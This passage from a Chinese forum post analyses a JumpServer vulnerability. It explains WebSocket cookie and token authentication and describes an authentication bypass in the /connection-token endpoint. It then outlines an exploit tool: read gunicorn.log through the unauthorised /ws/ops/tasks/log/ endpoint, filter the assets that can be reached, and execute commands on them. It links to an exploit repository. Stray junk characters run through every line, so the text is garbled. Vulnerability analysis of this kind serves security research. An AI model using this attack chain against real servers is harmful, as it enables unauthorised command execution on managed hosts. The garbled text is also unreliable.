) P& A5 v1 K/ W" |% ~ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
' X, f) ]) ?" Z: @* D1 vhttp://192.168.18.182:8080/koko/ ... 8-a983-1de24e7c3d73
& S2 Y+ H, n4 d6 p: x图片
6 ~6 }+ }* O* h) t3 O( C7 m) y( m7 C+ _6 N( Q+ R7 Y
实际进行sokcet通信的是/koko/ws/terminal/接口,/koko/terminal/接口是协调处理sokcet通信输入输出的数据,将结果与前端融合并展示给用户,提供一个可视终端的效果。# o: M! |% q5 }: `

. f8 }) g! [3 F  n图片& j$ `& S3 @, C: m* [
7 V# R1 _9 A$ G0 M" I: u/ |1 z
Websocket认证
2 ?2 G. E, ?* A即使用户经过了系统的认证,当与WebSocket接口进行socket连接时,同样需要再次认证。
+ j$ j% B0 u' ]
' Z; P3 M4 T* ]# m一般Websocket的身份认证都是发生在握手阶段,客户端向验证请求中的内容,只允许经过身份验证的用户建立成功的Websocket连接。
! _/ b4 N: D! D( v4 y  _6 A; @6 S" {: b4 S* f, x
可以通过基于cookie的传统方式,或基于Token的方式进行认证。
1 ]5 }4 w$ V" m8 h; z! N9 R. T% x1 T3 b' _7 r! g8 r
传统的基于cookie的方式- I! H1 T  }% s6 X4 L" c
采用这种方式,应用本身的认证和提供WebSocket的服务,可以是同一套session cookie的管理机制,也可以WebSocket服务接口自己来维护基于cookie的认证。! u+ X0 s8 r1 S- w7 \" y
4 U2 q. S! e- v! Y' {
Jumpserver系统Web终端的功能,调用的/koko/ws/terminal/接口就是采用这种方式。! r' z* m  p7 w( r( W
) m/ Y" m. O, B( k6 S
ws://192.168.18.182:8080/koko/ws/terminal/?target_id=fac9cfc0-b8f1-4aa5-9893-b8f5cdc8de0f&type=asset&system_user_id=a893cb8f-26f7-41a8-a983-1de24e7c3d73
4 i  \& \+ P; M图片. D4 l1 c  f* i% T5 o( Z, R& N$ l
8 I# g& C4 d/ t6 }# [" Q' ~4 L
请求URL中携带的参数值 target_id、type、system_user_id 基本长期复用,接口主要依靠建立会话传送的Cookie来识别身份,这里的session cookie的管理机制与系统是共享的。+ S2 _, u; g2 ]- |/ o( q
3 h8 J6 u- F" |4 n. ~2 C
基于Token的方式
. J# {0 Y3 j1 H当客户端要与接口建立连接时,向http服务获取token,客户端作为初始握手的一部分携带有效token打开websocket连接,服务端验证token有效性合法性,认证通过则同意建立websocket会话连接。
, X* z, n0 h- |% g9 M+ m; |' D% |& p$ n! C' S
漏洞执行命令利用的/koko/ws/token/接口采用的就是基于token方式进行认证
3 B# Y. g0 {# `) T; I) F% A, u7 b& y0 k7 i5 J3 C' n8 q+ H& F; G% a
ws://192.168.18.182:8080/koko/ws/token/?target_id=845fad2b-6077-41cb-b4fd-1462cca1152d4 ?+ w  \" e4 N. z+ y9 r0 W- ]
接口取target_id参数值,识别参数值有效性及对应用户身份,认证通过则同意建立websocket连接。图片
% s6 J' }+ z) V2 S8 ^3 Q: P/ D/ Q/ `8 l* a8 a( ]
认证方式对比
$ h( ^2 g% G7 s1 ^. {+ h传统基于cookie的方式,若websocket接口与系统协调同一种共享的认证方式,造成websocket服务与应用服务的耦合性大,依赖性强。若websocket服务自己维护基于cookie的认证,它只是一个解决通信连接的服务,为此付出成本不小。综上,还是采用基于token的认证方式更加高效。
$ I1 K% J: N; i$ _2 n, p* W* r+ U; g3 V9 h6 \. y7 N* d
采用基于token的认证方式则需要考虑提供token服务的API安全性,如本文分析的漏洞,提供token的/connection-token接口存在认证绕过问题,攻击者通过绕过/connection-token接口的身份验证,获取token,在有效时间内可与目标建立websocket连接。
; O4 H4 t+ D  l0 Q
! B' ?5 ?& k0 U: F5 q0x05利用工具
3 n# r2 J9 @" i  N5 N# B  P编写思路5 U9 u& }7 @* w. o* I7 x
1.读取日志
: L; C7 O4 t3 E5 i* ]$ W8 u1 S6 B6 j0 U  I
根据上文漏洞利用的流程,需要先通过未授权的/ws/ops/tasks/log/接口读取日志文件/opt/jumpserver/logs/gunicorn.log ,其中包含大量的接口请求记录,我们需要提取/api/v1/perms/asset-permissions/user/validate/ 接口信息。
: W8 ~9 W9 P0 M" f2 x  g9 q2 `2 z% u/ T6 `- H; Y( `9 y
图片/ R: c: ^' E8 M' N
; {' J1 W" e; [( A
2.筛选可用资产
1 d6 C& s/ W( t1 W( u/ g0 M. H/ y1 p' d9 d8 R! |; m/ B
日志文件中提取出的数据为历史连接记录,但不一定可以被利用,需要对其进行连接测试,筛选出可被利用的资产。
3 R% M( p1 e" v  b* K% r
/ Z. E1 r* V0 `! o图片  |8 U; w/ f% A& Z, ?, a) w

" {/ ?/ z  d/ Y/ u$ ^. F+ N3.执行命令
, \* c- g+ r  v$ M. I9 d# e0 y
: F: ^, v9 P0 [6 p1 p8 V8 d9 F  R在可用资产列表中选择目标进行攻击,执行指定命令。0 |' M; d- Z5 A# n4 B- k

7 {6 ?/ ^7 ~/ \$ V! ]图片% [( B0 ?% s+ U* i3 n

3 ^' z) o* M" `& h0 W! d更多细节请移步:https://github.com/Veraxy00/Jumpserver-EXP1 U" \4 l+ s; P) d

) }2 b# k- [% c6 u5 ~1 T1 D总结
  ^# E# `" o8 E8 I* P0 a; Q" i1.通过未授权的 /ws/ops/tasks/log/ 接口读取日志文件,我们仅筛选了部分接口信息,日志中包含大量数据,还有更多利用价值。
0 o' E: y$ k4 G( T1 s! ~3 Q' g2.官方给出的漏洞影响版本不准确,部分版本由于接口认证方式问题不可被利用。9 b9 C4 [2 C6 |6 d& h$ {6 Y
3.根据实际场景不同,漏洞利用工具还须继续改进,欢迎提出改进建议。4 S6 q; R0 ?, L. n* O5 \2 N9 T: o

3 k8 p9 U, B2 }; n( N& j& a3 A
您需要登录后才可以回帖 登录 | 注册

本版积分规则

返回首页|Archiver|手机版|小黑屋|易陆发现技术论坛 ( 蜀ICP备2026014127号-1 )

GMT+8, 2026-6-12 00:41 , Processed in 0.026279 second(s), 21 queries .

Powered by Discuz! X5.0

© 2001-2026 Discuz! Team.

快速回复 返回顶部 返回列表